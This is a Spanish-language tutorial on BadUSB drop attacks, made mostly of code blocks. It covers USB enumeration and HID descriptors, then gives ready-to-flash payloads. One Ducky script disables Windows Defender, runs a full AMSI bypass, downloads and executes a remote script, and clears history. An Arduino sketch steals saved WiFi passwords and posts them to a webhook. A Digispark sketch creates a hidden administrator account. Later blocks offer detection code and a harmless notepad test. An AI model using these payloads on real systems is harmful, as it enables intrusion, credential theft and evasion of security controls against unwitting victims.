BadUSB: anatomía de un ataque drop-USB y cómo defenderse

1
Host (PC) ←──USB→── Dispositivo
2
     │
3
     ├── 1. Host detecta conexión (VBUS)
4
     ├── 2. Host resetea dispositivo
5
     ├── 3. Host solicita descriptores (GET_DESCRIPTOR)
6
     ├── 4. Dispositivo responde con:
7
     │      - Device Descriptor (VID, PID, Class)
8
     │      - Configuration Descriptor
9
     │      - Interface Descriptor
10
     │      - Endpoint Descriptor
11
     ├── 5. Host asigna dirección (SET_ADDRESS)
12
     ├── 6. Host carga drivers basado en Class/Subclass
13
     └── 7. Dispositivo está listo para uso

1
[Dispositivo USB Malicioso]
2
         │
3
         ├── Se conecta al puerto USB
4
         │
5
         ├── Reporta clase HID (0x03)
6
         │   Subclass: Boot Interface (0x01)
7
         │   Protocol: Keyboard (0x01)
8
         │
9
         ├── Host carga driver HID genérico
10
         │   (kbdclass.sys, kbdhid.sys en Windows)
11
         │
12
         ├── Dispositivo envía "keystrokes"
13
         │   usando HID Report Descriptor
14
         │
15
         └── Sistema ejecuta comandos
16
             como si usuario los hubiera tipeado

1
// Descriptor HID simplificado para teclado
2
static const uint8_t hid_report_descriptor[] = {
3
    0x05, 0x01,  // Usage Page (Generic Desktop)
4
    0x09, 0x06,  // Usage (Keyboard)
5
    0xA1, 0x01,  // Collection (Application)
6

7
    // Modifier keys (Ctrl, Shift, Alt, GUI)
8
    0x05, 0x07,  // Usage Page (Key Codes)
9
    0x19, 0xE0,  // Usage Minimum (224)
10
    0x29, 0xE7,  // Usage Maximum (231)
11
    0x15, 0x00,  // Logical Minimum (0)
12
    0x25, 0x01,  // Logical Maximum (1)
13
    0x75, 0x01,  // Report Size (1)
14
    0x95, 0x08,  // Report Count (8)
15
    0x81, 0x02,  // Input (Data, Variable, Absolute)
16

17
    // Reserved byte
18
    0x95, 0x01,  // Report Count (1)
19
    0x75, 0x08,  // Report Size (8)
20
    0x81, 0x01,  // Input (Constant)
21

22
    // Key codes (6 keys simultáneos)
23
    0x95, 0x06,  // Report Count (6)
24
    0x75, 0x08,  // Report Size (8)
25
    0x15, 0x00,  // Logical Minimum (0)
26
    0x25, 0x65,  // Logical Maximum (101)
27
    0x05, 0x07,  // Usage Page (Key Codes)
28
    0x19, 0x00,  // Usage Minimum (0)
29
    0x29, 0x65,  // Usage Maximum (101)
30
    0x81, 0x00,  // Input (Data, Array)
31

32
    0xC0         // End Collection
33
};

1
[Dispositivo USB Legítimo]
2
         │
3
         ├── Microcontrolador: Phison, Alcor, etc.
4
         │
5
         ├── Firmware original: Mass Storage Class
6
         │
7
         ├── Ataque:
8
         │   ├── Reverse engineering del firmware
9
         │   ├── Modificación para agregar HID
10
         │   └── Reprogramación via vendor commands
11
         │
12
         └── Resultado:
13
             Dispositivo aparentemente normal
14
             que también actúa como teclado

1
// Estructura simplificada del exploit LNK
2
struct LNK_EXPLOIT {
3
    // Header del acceso directo
4
    SHELL_LINK_HEADER header;
5

6
    // IDLIST que contiene el path especial
7
    LINKTARGET_IDLIST idlist;
8

9
    // El truco: el path apunta a un archivo malicioso
10
    // en el mismo dispositivo USB
11
    // Cuando Explorer intenta mostrar el icono,
12
    // ejecuta código arbitrario
13

14
    // Payload embebido o referenciado
15
    EXTRA_DATA extra;
16
};

1
REM Payload: Reverse PowerShell con bypass de AMSI
2
REM Autor: [Tu nombre]
3
REM Fecha: 2025
4
REM Objetivo: Windows 10/11
5

6
DELAY 3000
7

8
REM Abrir PowerShell como administrador (bypass UAC)
9
GUI r
10
DELAY 500
11
STRING powershell -Command "Start-Process powershell -Verb runAs"
12
ENTER
13
DELAY 3000
14

15
REM Bypass UAC - método alternativo si hay prompt
16
ALT y
17
DELAY 1000
18

19
REM Desactivar Windows Defender temporalmente
20
STRING Set-MpPreference -DisableRealtimeMonitoring $true
21
ENTER
22
DELAY 500
23

24
STRING Set-MpPreference -DisableBehaviorMonitoring $true
25
ENTER
26
DELAY 500
27

28
REM Bypass AMSI (Anti-Malware Scan Interface)
29
STRING $a = [Ref].Assembly.GetTypes() | Where-Object {$_.Name -like "*iUtils"} | ForEach-Object {$_.GetFields("NonPublic,Static")} | Where-Object {$_.Name -like "*Context"} | ForEach-Object {(Get-Variable _ -ValueOnly).GetValue($null)}; $a[0].GetField("amsiSession", "NonPublic,Static").SetValue($null, $null); [Ref].Assembly.GetTypes() | Where-Object {$_.Name -like "*iUtils"} | ForEach-Object {$_.GetFields("NonPublic,Static")} | Where-Object {$_.Name -like "*Failed"} | ForEach-Object {(Get-Variable _ -ValueOnly).SetValue($null, $true)}
30
ENTER
31
DELAY 1000
32

33
REM Descargar y ejecutar payload
34
STRING IEX (New-Object Net.WebClient).DownloadString('https://tu-servidor.com/payload.ps1')
35
ENTER
36
DELAY 2000
37

38
REM Limpiar historial
39
STRING Remove-Item (Get-PSReadlineOption).HistorySavePath -Force
40
ENTER
41
DELAY 500
42

43
STRING exit
44
ENTER

1
#include "DigiKeyboard.h"
2

3
void setup() {
4
  // Esperar a que el sistema reconozca el dispositivo
5
  DigiKeyboard.delay(2000);
6

7
  // Enviar keystrokes
8
  // Abrir Run dialog (Win+R)
9
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
10
  DigiKeyboard.delay(500);
11

12
  // Escribir cmd
13
  DigiKeyboard.print("cmd");
14
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
15
  DigiKeyboard.delay(1000);
16

17
  // Comando: Crear usuario administrador
18
  DigiKeyboard.print("net user admin P@ssw0rd123! /add");
19
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
20
  DigiKeyboard.delay(500);
21

22
  DigiKeyboard.print("net localgroup administrators admin /add");
23
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
24
  DigiKeyboard.delay(500);
25

26
  // Limpiar evidencia - borrar historial de comandos
27
  DigiKeyboard.print("reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f");
28
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
29
  DigiKeyboard.delay(500);
30

31
  // Cerrar ventana
32
  DigiKeyboard.print("exit");
33
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
34
}
35

36
void loop() {
37
  // No hacer nada en loop
38
}

1
#include <Keyboard.h>
2

3
// Definir teclas especiales
4
#define KEY_LEFT_CTRL   0x80
5
#define KEY_LEFT_SHIFT  0x81
6
#define KEY_LEFT_ALT    0x82
7
#define KEY_LEFT_GUI    0x83
8
#define KEY_RETURN      0xB0
9

10
void setup() {
11
  // Inicializar Keyboard library
12
  Keyboard.begin();
13
  delay(3000);
14

15
  // Payload: Exfiltrar credenciales WiFi
16
  // Paso 1: Abrir PowerShell
17
  Keyboard.press(KEY_LEFT_GUI);
18
  Keyboard.press('r');
19
  Keyboard.releaseAll();
20
  delay(500);
21

22
  Keyboard.print("powershell -windowstyle hidden");
23
  Keyboard.press(KEY_RETURN);
24
  Keyboard.releaseAll();
25
  delay(1500);
26

27
  // Paso 2: Extraer credenciales WiFi
28
  Keyboard.print("$profiles = netsh wlan show profiles | Select-String \"Perfil de todos los usuarios\" | ForEach-Object { $_ -match \": (.+)$\" | Out-Null; $matches[1].Trim() }");
29
  Keyboard.press(KEY_RETURN);
30
  delay(500);
31

32
  Keyboard.print("$results = @(); foreach ($profile in $profiles) { $password = (netsh wlan show profile name=\"$profile\" key=clear | Select-String \"Contenido de la clave\" | ForEach-Object { $_ -match ": (.+)$\" | Out-Null; $matches[1].Trim() }); $results += \"$profile`: $password\" }");
33
  Keyboard.press(KEY_RETURN);
34
  delay(1000);
35

36
  // Paso 3: Guardar y exfiltrar
37
  Keyboard.print("$results | Out-File -FilePath \"$env:TEMP\\wifi_creds.txt\"");
38
  Keyboard.press(KEY_RETURN);
39
  delay(500);
40

41
  Keyboard.print("Invoke-WebRequest -Uri \"https://webhook.site/tu-uuid-aqui\" -Method POST -InFile \"$env:TEMP\\wifi_creds.txt\"");
42
  Keyboard.press(KEY_RETURN);
43
  delay(2000);
44

45
  // Paso 4: Limpiar
46
  Keyboard.print("Remove-Item \"$env:TEMP\\wifi_creds.txt\" -Force; exit");
47
  Keyboard.press(KEY_RETURN);
48

49
  Keyboard.end();
50
}
51

52
void loop() {
53
  // No hacer nada
54
}

1
import time
2
from collections import deque
3

4
class TypingAnalyzer:
5
    def __init__(self, window_size=20):
6
        self.timestamps = deque(maxlen=window_size)
7
        self.human_avg_delay = 0.150  # 150ms promedio humano
8
        self.human_min_delay = 0.050  # 50ms mínimo humano
9

10
    def record_keystroke(self):
11
        self.timestamps.append(time.time())
12

13
    def analyze(self):
14
        if len(self.timestamps) < 5:
15
            return None
16

17
        intervals = []
18
        for i in range(1, len(self.timestamps)):
19
            interval = self.timestamps[i] - self.timestamps[i-1]
20
            intervals.append(interval)
21

22
        avg_interval = sum(intervals) / len(intervals)
23
        variance = sum((x - avg_interval) ** 2 for x in intervals) / len(intervals)
24

25
        # Detección de patrones no humanos
26
        if avg_interval < 0.010:  # Menos de 10ms entre teclas
27
            return {
28
                'verdict': 'SUSPICIOUS',
29
                'reason': 'Typing speed too fast for human',
30
                'avg_interval': avg_interval,
31
                'confidence': 'HIGH'
32
            }
33

34
        # Human typing tiene variabilidad (varianza alta)
35
        # Automated typing tiene consistencia mecánica (varianza baja)
36
        if variance < 0.0001 and avg_interval < 0.050:
37
            return {
38
                'verdict': 'SUSPICIOUS',
39
                'reason': 'Mechanical consistency detected',
40
                'variance': variance,
41
                'confidence': 'MEDIUM'
42
            }
43

44
        return {
45
            'verdict': 'NORMAL',
46
            'avg_interval': avg_interval,
47
            'variance': variance
48
        }

1
import usb.core
2
import usb.util
3
import time
4

5
class USBMonitor:
6
    def __init__(self):
7
        self.known_devices = set()
8

9
    def scan_devices(self):
10
        """Escanear todos los dispositivos USB conectados"""
11
        devices = usb.core.find(find_all=True)
12
        current_devices = set()
13

14
        for device in devices:
15
            device_id = (device.idVendor, device.idProduct, device.bus, device.address)
16
            current_devices.add(device_id)
17

18
            if device_id not in self.known_devices:
19
                self.on_new_device(device)
20

21
        self.known_devices = current_devices
22

23
    def on_new_device(self, device):
24
        """Callback cuando se detecta un nuevo dispositivo"""
25
        try:
26
            vendor_id = hex(device.idVendor)
27
            product_id = hex(device.idProduct)
28

29
            # Obtener información del dispositivo
30
            manufacturer = usb.util.get_string(device, device.iManufacturer) if device.iManufacturer else "Unknown"
31
            product = usb.util.get_string(device, device.iProduct) if device.iProduct else "Unknown"
32

33
            print(f"[+] New USB Device Detected:")
34
            print(f"    Vendor ID: {vendor_id}")
35
            print(f"    Product ID: {product_id}")
36
            print(f"    Manufacturer: {manufacturer}")
37
            print(f"    Product: {product}")
38

39
            # Verificar clase del dispositivo
40
            if device.bDeviceClass == 0x03:  # HID Class
41
                print(f"    [!] ALERT: HID Device - Potential BadUSB!")
42

43
            # Analizar configuraciones
44
            for cfg in device:
45
                for intf in cfg:
46
                    if intf.bInterfaceClass == 0x03:  # HID
47
                        print(f"    [!] HID Interface found: {intf.bInterfaceNumber}")
48

49
        except Exception as e:
50
            print(f"[!] Error reading device: {e}")
51

52
    def monitor(self, interval=1):
53
        """Monitoreo continuo"""
54
        print("[*] Starting USB monitoring...")
55
        print("[*] Press Ctrl+C to stop\n")
56

57
        # Escanear dispositivos iniciales
58
        self.scan_devices()
59

60
        try:
61
            while True:
62
                time.sleep(interval)
63
                self.scan_devices()
64
        except KeyboardInterrupt:
65
            print("\n[*] Monitoring stopped")
66

67
# Uso
68
if __name__ == "__main__":
69
    monitor = USBMonitor()
70
    monitor.monitor()

1
import tensorflow as tf
2
from tensorflow import keras
3
import numpy as np
4

5
class USBBehaviorAnalyzer:
6
    def __init__(self):
7
        self.model = self._build_model()
8

9
    def _build_model(self):
10
        """Construir modelo LSTM para detección de anomalías"""
11
        model = keras.Sequential([
12
            keras.layers.LSTM(64, input_shape=(100, 5), return_sequences=True),
13
            keras.layers.Dropout(0.2),
14
            keras.layers.LSTM(32),
15
            keras.layers.Dropout(0.2),
16
            keras.layers.Dense(16, activation='relu'),
17
            keras.layers.Dense(1, activation='sigmoid')
18
        ])
19

20
        model.compile(
21
            optimizer='adam',
22
            loss='binary_crossentropy',
23
            metrics=['accuracy']
24
        )
25

26
        return model
27

28
    def extract_features(self, usb_events):
29
        """Extraer características de eventos USB"""
30
        features = []
31

32
        for event in usb_events:
33
            feature_vector = [
34
                event['timestamp_delta'],
35
                event['packet_size'],
36
                event['endpoint_type'],
37
                event['data_entropy'],
38
                event['direction']  # 0=in, 1=out
39
            ]
40
            features.append(feature_vector)
41

42
        return np.array(features)
43

44
    def predict(self, usb_events):
45
        """Predecir si el comportamiento es malicioso"""
46
        features = self.extract_features(usb_events)
47

48
        # Padding o truncado a 100 eventos
49
        if len(features) < 100:
50
            padding = np.zeros((100 - len(features), 5))
51
            features = np.vstack([features, padding])
52
        else:
53
            features = features[:100]
54

55
        features = features.reshape(1, 100, 5)
56
        prediction = self.model.predict(features)[0][0]
57

58
        return {
59
            'malicious_probability': float(prediction),
60
            'is_malicious': prediction > 0.7,
61
            'confidence': 'HIGH' if prediction > 0.9 or prediction < 0.1 else 'MEDIUM'
62
        }
63

64
# Entrenamiento del modelo
65
def train_model():
66
    """Entrenar modelo con datos etiquetados"""
67
    # Datos de ejemplo - en producción usar dataset real
68
    # X: secuencias de eventos USB (100 eventos, 5 features cada uno)
69
    # y: 0=benigno, 1=malicioso
70

71
    X_train = np.random.randn(1000, 100, 5)
72
    y_train = np.random.randint(0, 2, (1000, 1))
73

74
    analyzer = USBBehaviorAnalyzer()
75
    analyzer.model.fit(X_train, y_train, epochs=10, batch_size=32)
76

77
    return analyzer

1
REM Payload de prueba - NO MALICIOSO
2
REM Solo abre notepad y escribe mensaje
3

4
DELAY 3000
5
GUI r
6
DELAY 500
7
STRING notepad
8
ENTER
9
DELAY 1000
10
STRING Este es un mensaje de prueba de seguridad USB.
11
ENTER
12
STRING Si ves este mensaje, tu sistema es vulnerable a ataques BadUSB.
13
ENTER
14
STRING Por favor, reporta esto al equipo de seguridad.
15
ENTER